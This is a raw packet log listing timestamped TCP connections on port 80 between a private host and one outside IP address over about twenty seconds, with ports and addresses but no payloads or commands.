Jan 1, 2025 16:03:42.688899040 CET	80	62761	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.690401077 CET	62761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.860558033 CET	62762	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.865322113 CET	80	62762	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.959820986 CET	80	62762	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:43.018304110 CET	62762	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:43.130522966 CET	80	62762	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:43.188597918 CET	62762	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:43.249126911 CET	62762	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:43.253205061 CET	62763	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:43.258109093 CET	80	62763	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:43.258189917 CET	62763	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:43.258281946 CET	62763	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:43.263073921 CET	80	62763	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:43.610611916 CET	62763	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:43.615803957 CET	80	62763	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:43.705312014 CET	80	62763	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:43.751028061 CET	62763	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:43.885575056 CET	80	62763	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:43.938596964 CET	62763	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.012562990 CET	62763	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.013302088 CET	62764	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.018096924 CET	80	62764	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:44.018187046 CET	62764	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.018261909 CET	80	62763	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:44.018285990 CET	62764	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.018317938 CET	62763	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.023058891 CET	80	62764	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:44.378343105 CET	62764	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.383235931 CET	80	62764	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:44.471477985 CET	80	62764	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:44.518311024 CET	62764	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.729976892 CET	80	62764	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:44.782304049 CET	62764	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.858514071 CET	62765	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.864675045 CET	80	62765	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:44.864784956 CET	62765	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.864994049 CET	62765	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:44.870431900 CET	80	62765	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:45.219928026 CET	62765	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:45.224822044 CET	80	62765	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:45.307310104 CET	80	62765	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:45.360382080 CET	62765	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:45.482405901 CET	80	62765	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:45.532258034 CET	62765	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:45.618313074 CET	62765	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:45.618340969 CET	62764	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:45.619128942 CET	62766	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:45.623641014 CET	80	62765	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:45.623688936 CET	62765	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:45.623925924 CET	80	62766	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:45.623985052 CET	62766	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:45.624072075 CET	62766	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:45.628823996 CET	80	62766	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:45.969851017 CET	62766	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:45.974843979 CET	80	62766	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:46.070389986 CET	80	62766	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:46.126022100 CET	62766	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:46.335175991 CET	80	62766	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:46.391889095 CET	62766	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:46.467365980 CET	62767	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:46.467366934 CET	62766	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:46.472174883 CET	80	62767	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:46.472507000 CET	80	62766	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:46.474373102 CET	62766	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:46.474436998 CET	62767	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:46.474622965 CET	62767	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:46.479355097 CET	80	62767	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:46.829307079 CET	62767	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:46.834259987 CET	80	62767	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:46.921832085 CET	80	62767	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:46.969791889 CET	62767	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.184758902 CET	80	62767	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.235486031 CET	62767	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.315105915 CET	62767	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.315992117 CET	62768	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.320275068 CET	80	62767	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.320319891 CET	62767	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.320827007 CET	80	62768	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.320894003 CET	62768	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.321032047 CET	62768	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.325750113 CET	80	62768	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.392441034 CET	62768	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.394068956 CET	62769	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.398931980 CET	80	62769	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.398992062 CET	62769	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.399132967 CET	62769	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.403913975 CET	80	62769	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.438735008 CET	80	62768	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.519349098 CET	62770	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.524192095 CET	80	62770	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.524252892 CET	62770	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.524353981 CET	62770	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.529092073 CET	80	62770	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.675957918 CET	80	62768	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.676016092 CET	62768	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.751359940 CET	62769	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.756190062 CET	80	62769	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.756354094 CET	80	62769	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.863580942 CET	80	62769	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.876281023 CET	62770	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.881109953 CET	80	62770	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:47.907289982 CET	62769	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:47.967863083 CET	80	62770	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:48.016673088 CET	62770	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.120013952 CET	80	62769	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:48.172904015 CET	62769	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.236311913 CET	80	62770	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:48.282284975 CET	62770	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.358587027 CET	62770	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.358591080 CET	62769	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.359519958 CET	62771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.363852024 CET	80	62770	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:48.363922119 CET	62770	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.364334106 CET	80	62771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:48.364347935 CET	80	62769	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:48.364419937 CET	62769	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.364430904 CET	62771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.364568949 CET	62771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.369342089 CET	80	62771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:48.721343994 CET	62771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.726330042 CET	80	62771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:48.828754902 CET	80	62771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:48.878325939 CET	62771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:48.998639107 CET	80	62771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:49.047938108 CET	62771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.124548912 CET	62772	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.129404068 CET	80	62772	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:49.129601002 CET	62772	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.129776001 CET	62772	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.134531021 CET	80	62772	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:49.485686064 CET	62772	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.490565062 CET	80	62772	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:49.582719088 CET	80	62772	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:49.626045942 CET	62772	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.755647898 CET	80	62772	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:49.797944069 CET	62772	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.877613068 CET	62772	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.878557920 CET	62773	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.882708073 CET	80	62772	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:49.882755995 CET	62772	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.883414984 CET	80	62773	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:49.883480072 CET	62773	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.883611917 CET	62773	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:49.888329029 CET	80	62773	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:50.235635042 CET	62773	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:50.240454912 CET	80	62773	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:50.346214056 CET	80	62773	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:50.392257929 CET	62773	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:50.600403070 CET	80	62773	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:50.641700029 CET	62773	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:50.751173973 CET	62773	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:50.752337933 CET	62774	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:50.756198883 CET	80	62773	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:50.756282091 CET	62773	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:50.757175922 CET	80	62774	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:50.757266998 CET	62774	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:50.757451057 CET	62774	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:50.762216091 CET	80	62774	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:51.112605095 CET	62774	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:51.117455006 CET	80	62774	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:51.208331108 CET	80	62774	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:51.266678095 CET	62774	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:51.479232073 CET	80	62774	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:51.481601000 CET	62771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:51.532319069 CET	62774	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:51.611418009 CET	62774	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:51.612369061 CET	62775	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:51.616344929 CET	80	62774	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:51.616399050 CET	62774	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:51.617247105 CET	80	62775	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:51.617309093 CET	62775	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:51.617417097 CET	62775	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:51.622158051 CET	80	62775	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:51.970428944 CET	62775	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:51.975286961 CET	80	62775	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:52.077397108 CET	80	62775	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:52.141755104 CET	62775	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:52.351999998 CET	80	62775	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:52.408411980 CET	62775	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:52.482330084 CET	62775	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:52.482367992 CET	62776	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:52.489423037 CET	80	62776	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:52.489557028 CET	80	62775	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:52.493170977 CET	62775	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:52.493185997 CET	62776	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:52.493614912 CET	62776	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:52.500514030 CET	80	62776	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:52.845575094 CET	62776	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:52.850547075 CET	80	62776	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:52.946441889 CET	80	62776	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.001055956 CET	62776	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.128165960 CET	62777	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.128525972 CET	62776	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.133399963 CET	80	62777	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.133502960 CET	62777	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.133562088 CET	80	62776	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.133589029 CET	62777	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.133714914 CET	62776	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.138405085 CET	80	62777	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.252703905 CET	62778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.257587910 CET	80	62778	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.257652044 CET	62778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.257837057 CET	62778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.262582064 CET	80	62778	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.485661983 CET	62777	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.490564108 CET	80	62777	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.490672112 CET	80	62777	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.578053951 CET	80	62777	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.610511065 CET	62778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.615428925 CET	80	62778	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.626046896 CET	62777	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.698395014 CET	80	62778	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.751055002 CET	62778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.758378029 CET	80	62777	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:53.797950983 CET	62777	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:53.951035023 CET	80	62778	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:54.001086950 CET	62778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:54.091224909 CET	62777	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:54.091308117 CET	62778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:54.092216015 CET	62779	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:54.096297979 CET	80	62777	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:54.096376896 CET	62777	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:54.096627951 CET	80	62778	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:54.096734047 CET	62778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:54.097021103 CET	80	62779	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:54.097074032 CET	62779	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:54.097178936 CET	62779	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:54.101958036 CET	80	62779	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:54.455806971 CET	62779	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:54.460673094 CET	80	62779	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:54.550959110 CET	80	62779	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:54.594892025 CET	62779	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:54.720890999 CET	80	62779	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:54.766791105 CET	62779	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.078929901 CET	62779	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.083987951 CET	80	62779	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:55.084067106 CET	62779	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.097198963 CET	62781	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.102061987 CET	80	62781	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:55.102138042 CET	62781	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.104376078 CET	62781	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.109220982 CET	80	62781	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:55.454268932 CET	62781	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.459873915 CET	80	62781	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:55.549325943 CET	80	62781	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:55.594846964 CET	62781	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.730376005 CET	80	62781	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:55.782305002 CET	62781	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.866025925 CET	62781	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.866714954 CET	62782	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.871052027 CET	80	62781	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:55.871100903 CET	62781	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.871546984 CET	80	62782	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:55.871608973 CET	62782	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.871855021 CET	62782	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:55.876638889 CET	80	62782	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:56.220180035 CET	62782	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:56.226265907 CET	80	62782	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:56.336496115 CET	80	62782	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:56.392412901 CET	62782	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:56.513700008 CET	80	62782	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:56.564538956 CET	62782	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:56.640180111 CET	62783	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:56.640183926 CET	62782	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:56.645139933 CET	80	62783	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:56.645172119 CET	80	62782	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:56.645354986 CET	62782	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:56.645354986 CET	62783	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:56.648524046 CET	62783	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:56.653377056 CET	80	62783	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:57.001368999 CET	62783	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:57.006786108 CET	80	62783	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:57.117804050 CET	80	62783	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:57.173044920 CET	62783	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:57.295105934 CET	80	62783	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:57.344846010 CET	62783	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:57.602360010 CET	62783	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:57.607357979 CET	80	62783	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:57.608439922 CET	62783	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:57.610101938 CET	62784	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:57.615366936 CET	80	62784	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:57.616832018 CET	62784	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:57.617677927 CET	62784	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:57.622411966 CET	80	62784	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:57.969970942 CET	62784	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:57.974823952 CET	80	62784	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.078419924 CET	80	62784	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.132270098 CET	62784	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.349231958 CET	80	62784	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.438604116 CET	62784	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.466353893 CET	62784	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.469386101 CET	62785	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.471446037 CET	80	62784	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.471529961 CET	62784	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.474188089 CET	80	62785	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.474276066 CET	62785	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.474450111 CET	62785	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.479180098 CET	80	62785	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.768213034 CET	62786	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.768218994 CET	62785	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.773008108 CET	80	62786	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.778506041 CET	62786	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.778578997 CET	62786	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.783360004 CET	80	62786	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.814783096 CET	80	62785	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.851818085 CET	80	62785	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.851938963 CET	62785	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.894385099 CET	62787	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.899224043 CET	80	62787	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:58.899334908 CET	62787	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.899485111 CET	62787	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:58.904273033 CET	80	62787	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.126214027 CET	62786	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.131088972 CET	80	62786	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.131247044 CET	80	62786	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.223149061 CET	80	62786	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.251163006 CET	62787	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.256045103 CET	80	62787	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.352057934 CET	80	62787	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.372440100 CET	62786	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.407332897 CET	62787	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.489717960 CET	80	62786	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.622087002 CET	80	62787	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.625583887 CET	62786	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.672950029 CET	62787	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.752823114 CET	62747	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.760003090 CET	62786	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.760116100 CET	62787	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.761410952 CET	62788	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.764961004 CET	80	62786	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.765022993 CET	62786	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.765295982 CET	80	62787	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.765341043 CET	62787	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.766985893 CET	80	62788	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:59.767055988 CET	62788	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.771250010 CET	62788	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:59.776016951 CET	80	62788	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:00.126471996 CET	62788	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:00.131555080 CET	80	62788	104.21.38.84	192.168.2.6
